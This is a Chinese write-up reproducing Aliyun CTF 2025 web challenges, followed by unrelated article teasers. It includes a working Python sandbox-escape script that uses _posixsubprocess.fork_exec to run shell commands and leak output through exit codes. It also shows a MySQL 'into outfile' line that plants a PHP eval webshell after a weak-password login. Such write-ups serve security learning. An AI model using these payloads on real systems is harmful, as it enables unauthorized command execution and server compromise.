Aliyun CTF 2025 web 復現

文章目錄

  • ezoj
  • 打卡OK
  • offens1ve
  • Fakejump server

ezoj

在這里插入圖片描述
進來一看是算法題,先做了試試看,gpt寫了一個高效代碼通過了在這里插入圖片描述
通過后沒看見啥,根據頁面底部提示去/source看到源代碼,沒啥思路,直接看wp吧,跟算法題沒啥關系,關鍵是去看源碼

def audit_checker(event,args):if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:raise RuntimeErrorsys.addaudithook(audit_checker)

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
好了,現在你已經清楚了,有這樣一個函數,只允許白名單上的東西執行。其他諸如system和eval的代碼執行不了。接下來利用程序退出碼獲取python版本信息,退出碼就相當于return 0,區別在于這里return的值可控,通過version_info獲取版本信息在這里插入圖片描述

import sys
sys.exit(sys.version_info[0])

得到Python版本3.12.9,接著看,就算導入os模塊,也不能執行system命令在這里插入圖片描述
但是可以導入內部模塊,即一些隱藏的可以用來執行命令的函數
如_posixsubprocess的fork_exe()函數,它的底層是c代碼,所以可以繞過安全審計在這里插入圖片描述
在_posixsubprocess模塊中有一個c2pwrite參數,可以將子進程的輸出數據重定向到父進程,可以利用這一點將數據帶出來。
在這里插入圖片描述

import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:sys.exit(content[{loc}])
else:sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):code = CODE_TEMPLATE.format(loc=i,command=command)data = {"problem_id":0,"code":code}resp = requests.post(URL,json=data)resp_data = resp.json()assert(resp_data["status"] == "RE")ret_loc = resp_data["message"].find("ret=")ret_code = resp_data["message"][ret_loc+4:]if ret_code == "255":breakreceived += chr(int(ret_code))print(received)

os.pipe創建通信管道
在這里插入圖片描述
在這里插入圖片描述

這里學到一個很厲害的技巧:使用管道,如果信息直接輸出到終端,且不給回顯,就可以通過管道給它先放進去,再從管道的另一端去讀,可以采用類似布爾盲注的思想拿出信息,當然這里沒這么麻煩。

_posixsubprocess.fork_exec((b"/bin/bash", b"-c", b"ls /"),  # ① 要執行的命令[b"/bin/bash"],                   # ② argv(程序參數)True,                              # ③ 是否關閉所有文件描述符(close_fds)(),                                # ④ 預執行(preexec_fn)None, None,                        # ⑤ 用戶ID(UID)和 組ID(GID)-1, -1, -1,                        # ⑥ 文件描述符重定向std_pipe[1],  # c2pwrite           # ⑦ stdout 重定向到管道-1, -1,                            # ⑧ stdin, stderr 處理*(err_pipe),                        # ⑨ stderr 綁定到 err_pipeFalse, False, False,                # ⑩ 設置子進程行為None, None, None,                   # ? 進程優先級和調度相關-1, None, False                     # ? 其他控制參數
)

在這里插入圖片描述
啟動bash大概就相當于啟動cmd這個意思在這里插入圖片描述
第二個參數只放程序本身的名字,再往下看,是一個經驗性的東西,由于 os.read 可能會將程序卡住,因此在 os.read 之前先sleep?下。到這里payload的構建就沒有什么問題了,我們再來看看處理數據的腳本怎么構建,先看題目源碼在這里插入圖片描述
code就是我們構建的payload,通過程序退出碼逐個返回信息在這里插入圖片描述
這里我們顯然不能直接提交到oj平臺,所以id設置為0在這里插入圖片描述
如果返回狀態碼為RE說明sys.exit()觸發了在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:sys.exit(content[{log}])
else:sys.exit(255)'''
rec=""
for i in range(1,244):code=CODE_TEMPLATE.format(log=i)data={"problem_id":0,"code":code}response=requests.post(url=url,json=data)redata=response.json()assert redata["status"]=="RE"ret_loc=redata["message"].find("ret=")ret_code=redata["message"][ret_loc+4:]if ret_code=="255":breakelse:rec+=chr(int(ret_code))print(rec)

打卡OK

先試試非預期解,猜測弱密碼,這道題是~泄露,即在要訪問的文件名后面加上~就可以訪問文件的源碼

在這里插入圖片描述
實際上這里在首頁源碼里可以看到web,web的一個賬號密碼,但是這個賬號權限不夠,不能執行sql寫命令,接下來嘗試一下弱密碼,用root,root成功登錄,拿到權限
在這里插入圖片描述
在這里插入圖片描述

select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'

寫入馬用蟻劍連接,在根目錄下找到flag

在這里插入圖片描述
在這里插入圖片描述

offens1ve

這道題需要先在本地host加入

121.41.102.198 oa.offensive.local
121.41.102.198 monitor.offensive.local
121.41.102.198 sts.offensive.local

AI了一下,原因大概是主辦方沒買域名,所以就沒有自動的ip地址到域名的解析服務,需要在本地配置這種映射關系
host文件地址

C:\Windows\System32\drivers\etc\hosts
保存文件后去cmd輸入命令刷新DNS緩存
ipconfig /flushdns

隨后配置防火墻,添加入站規則,允許兩個端口的流量進來,到這里應該是都配置好了,但是還頁面還是不能正常顯示,猜測賽后環境已關閉。

Fakejump server

  1. Jump Server的定義
    Jump Server(跳躍服務器)是一種用于安全訪問內部網絡的中介服務器。用戶需先登錄Jump Server,再通過該服務器訪問內網的其他設備(如數據庫、應用服務器等)。其核心作用是作為內外網之間的“安全跳板”,減少內網直接暴露的風險。

  1. 堡壘機(Bastion Host)的定義
    堡壘機是網絡安全中的關鍵設備,通常指經過加固的服務器,專門用于管理和控制對內部網絡的訪問。其主要功能包括:
  • 訪問控制:僅允許授權用戶通過堡壘機進入內網。

  • 審計與監控:記錄所有用戶操作日志(如命令、文件傳輸)。

  • 隔離風險:防止外部攻擊直接滲透到內網。


那么到這里其實就可以通過提示,猜出大概是堡壘機的題目了。可以掃描22端?以及3389端?,因為?多數堡壘都是可以通過ssh/rdp端?來訪問和管理
服務器,很多?商ssh/rdp都是??寫代碼實現的,所以難免會出現漏洞在這里插入圖片描述
進來看一下,是一個nginx服務器,除此以外啥也沒有。在這里插入圖片描述在這里插入圖片描述端口的安全

接下來去看看哪個端口開放,下載一個端口掃描工具

nmap下載
這里注意使用工具時不要加入http等內容,直接放ip地址就可以了
在這里插入圖片描述
掃出SSH端口開放,nc連接

在這里插入圖片描述
在這里插入圖片描述
接下來學到一種思路和手法,既然是輸入賬號密碼,那就嘗試sql注入,通過sleep函數的差異來測試數據庫,但是在這里就卡住了,在哪里測試?怎么看測試是否成功?接下來試著跑一跑官方的腳本,報了認證失敗的錯誤,可能是題目環境出了問題,就到此為止吧

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/897642.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/897642.shtml
英文地址,請注明出處:http://en.pswp.cn/news/897642.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《鴻蒙系統下AI模型訓練加速:時間成本的深度剖析與優化策略》

在當今數字化浪潮中&#xff0c;鴻蒙系統憑借其獨特的分布式架構與強大的生態潛力&#xff0c;為人工智能的發展注入了新的活力。隨著AI應用在鴻蒙系統上的日益普及&#xff0c;如何有效降低模型訓練的時間成本&#xff0c;成為了開發者與研究者們亟待攻克的關鍵課題。這不僅關…

Git使用(一)--如何在 Windows 上安裝 Git:詳細步驟指南

如果你想在 Windows 機器上安裝 Git&#xff0c;可以按照以下詳細指南進行操作。 第一步&#xff1a;下載 Git 可通過官網下載 適用于 Windows 的 Git 最新版本。 如果下載速度較慢&#xff0c;可以通過下面提供的百度網盤 鏈接下載安裝包&#xff0c; https://git-scm.com/d…

基于Prometheus+Grafana的Deepseek性能監控實戰

文章目錄 1. 為什么需要專門的大模型監控?2. 技術棧組成2.1 vLLM(推理引擎層)2.2 Prometheus(監控采集層)2.3 Grafana(數據可視化平臺)3. 監控系統架構4. 實施步驟4.1 啟動DeepSeek-R1模型4.2 部署 Prometheus4.2.1 拉取鏡像4.2.2 編寫配置文件4.2.3 啟動容器4.3 部署 G…

本地Git倉庫搭建(DevStar)與Git基本命令

本地Git倉庫搭建&#xff08;DevStar&#xff09;與Git基本命令 實驗環境搭建平臺Git基本命令的使用本地倉庫的創建代碼提交代碼合并版本發布 總結 實驗環境 搭建平臺 按照DevStar的Github倉庫要求&#xff0c;在終端中執行下列命令&#xff0c;即可成功安裝DevStar到本地部署…

stm32 藍橋杯 物聯網 獨立鍵盤的使用

在藍橋杯物聯網平臺里面&#xff0c;有5個外接設備&#xff0c;其中有一個就是6個獨立按鍵。首先&#xff0c;我們先看一下按鍵有關的電路圖。 電路圖與cubemx設定 由圖可見&#xff0c;獨立鍵盤組由兩行三列構成&#xff0c;我們通過行列來鎖定要訪問的獨立按鍵在哪。ROW1掛…

set_clock_groups

一、命令參數與工具處理邏輯 核心參數定義 參數定義工具行為工具兼容性-asynchronous完全異步時鐘組&#xff0c;無任何相位或頻率關系&#xff08;如獨立晶振、不同時鐘樹&#xff09;工具完全禁用組間路徑的時序分析&#xff0c;但需用戶自行處理跨時鐘域&#xff08;CDC&a…

工作記錄 2017-01-06

工作記錄 2017-01-06 序號 工作 相關人員 1 協助BPO進行Billing的工作。 修改CSV、EDI837的導入。 修改郵件上的問題。 更新RD服務器。 郝 修改的問題&#xff1a; 1、 In “Full Job Summary” (patient info.), sometime, the Visit->Facility is missed, then …

Adaptive AUTOSAR UCM模塊——快速入門

Adaptive AUTOSAR中的UCM模塊介紹 概述 Adaptive AUTOSAR(AUTomotive Open System ARchitecture)是一個開放的行業標準,旨在為現代汽車電子系統提供一個靈活且可擴展的軟件框架。在這個框架中,更新與配置管理(Update and Configuration Management, UCM)模塊扮演著至關…

解決跨域問題的6種方案

解決跨域問題&#xff08;Cross-Origin Resource Sharing, CORS&#xff09;是 Web 開發中常見的需求&#xff0c;以下是 6 種主流解決方案&#xff0c;涵蓋前端、后端和服務器配置等不同層面&#xff1a; 一、CORS&#xff08;跨域資源共享&#xff09; 原理 通過服務器設置…

Python Selenium庫入門使用,圖文詳細。附網頁爬蟲、web自動化操作等實戰操作。

文章目錄 前言1 創建conda環境安裝Selenium庫2 瀏覽器驅動下載&#xff08;以Chrome和Edge為例&#xff09;3 基礎使用&#xff08;以Chrome為例演示&#xff09;3.1 與瀏覽器相關的操作3.1.1 打開/關閉瀏覽器3.1.2 訪問指定域名的網頁3.1.3 控制瀏覽器的窗口大小3.1.4 前進/后…

50個經典的python庫

本文整理了50個可以迅速掌握的經典Python庫&#xff0c;了解它們的用途&#xff0c;無論你是剛踏上編程之路&#xff0c;還是希望在Python的世界里更加深入&#xff0c;這50個庫都能幫助你快速起飛。 1. Taipy Taipy是一個開源Python庫&#xff0c;用于輕松的端到端應用程序開…

【視頻】V4L2、ffmpeg、OpenCV中對YUV的定義

1、常見的YUV格式 1.1 YUV420 每像素16位 IMC1:YYYYYYYY VV-- UU– IMC3:YYYYYYYY UU-- VV– 每像素12位 I420: YYYYYYYY UU VV =>YUV420P YV12: YYYYYYYY VV UU =>YUV420P NV12: YYYYYYYY UV UV =>YUV420SP(最受歡迎格式) NV21: YYYYYYYY VU VU =>YUV420SP…

freeswitch(多臺服務器級聯)

親測版本centos 7.9系統–》 freeswitch1.10.9本人freeswitch安裝路徑(根據自己的路徑進入)/usr/local/freeswitch/etc/freeswitch使用場景: 使用服務器級聯需要雙方網絡可以ping通,也就是類似局域網內,比如A服務器IP 192.168.1.100 B服務器 192.168.1.101,通過C設備注冊…

SpringMVC 基本概念與代碼示例

1. SpringMVC 簡介 SpringMVC 是 Spring 框架中的一個 Web 層框架&#xff0c;基于 MVC&#xff08;Model-View-Controller&#xff09; 設計模式&#xff0c;提供了清晰的分層結構&#xff0c;適用于 Web 應用開發 SpringMVC 主要組件 DispatcherServlet&#xff08;前端控…

LuaJIT 學習(1)—— LuaJIT介紹

文章目錄 介紹Extensions Modulesbit.* — Bitwise operationsffi.* — FFI libraryjit.* — JIT compiler controlC API extensionsProfiler Enhanced Standard Library Functionsxpcall(f, err [,args...]) passes arguments例子&#xff1a; xpcall 的使用 load*() handle U…

std::ranges::views::common, std::ranges::common_view

std::ranges::views::common, std::ranges::common_view C20 引入的用于將范圍適配為“通用范圍”的工具&#xff0c;主要解決某些算法需要傳統迭代器對&#xff08;如 begin 和 end 類型相同&#xff09;的問題。 基本概念 1. 功能 適配傳統算法&#xff1a;將范圍&#x…

4.3 數組和集合的初始及賦值

版權聲明&#xff1a;本文為博主原創文章&#xff0c;轉載請在顯著位置標明本文出處以及作者網名&#xff0c;未經作者允許不得用于商業目的 版權聲明&#xff1a;本文為博主原創文章&#xff0c;轉載請在顯著位置標明本文出處以及作者網名&#xff0c;未經作者允許不得用于商…

分布式光伏發電的發展現狀與前景

分布式光伏發電的發展現狀與前景 1、分布式光伏發電的背景2、分布式光伏發電的分類2.1、集中式光伏發電2.1.1、特點、原則2.1.2、優點2.1.3、缺點 2.2、分布式光伏發電2.2.1、特點、原則2.2.2、優點2.2.3、缺點 2.3、對比 3、分布式光伏發電的現狀4、分布式光伏發電的應用場景4…

13 | 實現統一的錯誤返回

提示&#xff1a; 所有體系課見專欄&#xff1a;Go 項目開發極速入門實戰課&#xff1b;歡迎加入 云原生 AI 實戰 星球&#xff0c;12 高質量體系課、20 高質量實戰項目助你在 AI 時代建立技術競爭力&#xff08;聚焦于 Go、云原生、AI Infra&#xff09;&#xff1b;本節課最終…

DeepSeek結合Mermaid繪圖(流程圖、時序圖、類圖、狀態圖、甘特圖、餅圖)轉載

思維速覽&#xff1a; 本文將詳細介紹如何利用DeepSeek結合Mermaid語法繪制各類專業圖表&#xff0c;幫助你提高工作效率和文檔質量。 ▍DeepSeek入門使用請看&#xff1a;deepseek保姆級入門教程&#xff08;網頁端使用 本地客戶端部署 使用技巧&#xff09; DeepSeek官網…